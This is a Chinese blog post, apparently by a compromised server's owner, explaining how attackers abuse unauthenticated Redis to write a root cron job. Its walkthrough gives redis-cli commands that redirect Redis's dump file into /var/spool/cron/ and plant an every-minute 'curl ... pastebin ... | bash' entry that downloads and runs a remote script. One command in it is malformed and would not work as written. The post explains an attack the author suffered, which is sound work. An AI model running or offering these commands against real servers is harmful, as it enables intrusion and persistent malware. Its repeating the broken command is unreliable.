从小,打破砂锅问到底就是我探索世界的主要动力,有一次还因为我老追着我的外婆问问题,被她教训了一顿。她咧着嘴、皱着眉,用一种很尖锐的声调对我说:“你怎么什么事情都打破砂锅问到底问到底?”从此,我就知道了凡事都问为什么叫“打破砂锅问到底”。所以说实话,我还挺感谢我外婆对我说的那句话的,至少让我发现了我这个“优秀品质”。

那么对于前天那篇文章,其实还留了一个悬念,那就是黑客到底是怎么利用Redis的漏洞入侵我的服务器的呢?再具体一点就是,黑客到底是怎么在系统级的定时任务/etc/crontab和用户级的定时任务crontab写入脚本的呢?今天这篇文章就带大家揭一下秘。

Redis漏洞原理

作为一个内存数据库,redis 可通过周期性配置或者手动执行save命令,将缓存中的值写入到磁盘文件中。如果redis进程权限足够,攻击者就可以利用它的未授权漏洞来写入计划任务、ssh登录密钥、webshell 等等,以达到执行任意指令的目的。

实战演练

我们先准备两个安装了redis的服务器,一个服务器使用redis默认配置在后台运行redis-server程序作为靶机,另一台在前台运行redis-cli程序作为攻击机。下面是在攻击机执行的指令:

redis-cli -h 192.100.3.39
192.100.3.39:6379> config set dir /var/spool/cron/
OK
192.100.3.39:6379> config set dbfilename root
OK
192.100.3.39:6379> config */1 * * * * curl -fsSL https://pastebin.com/raw/J6NdVBHq | bash
OK
192.100.3.39:6379> save
OK

上面指令的意思就是把一条定时任务写到/var/spool/cron的root文件中,这就达到了和我们使用root用户登录,然后使用crontab -e编辑定时任务一样的效果。因为使用crontab -e编辑的定时任务其实最后都存在了/var/spool/cron下以用户名命名的文件中。

所以通过上述指令,服务器将每过1分钟请求https://pastebin.com/raw/J6NdVBHq 下载脚本,然后用bash运行。也就达到了我怎么kill都kill不掉watchbog程序的作用。

就是这么简单!

参考文章



技术分享      Redis

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!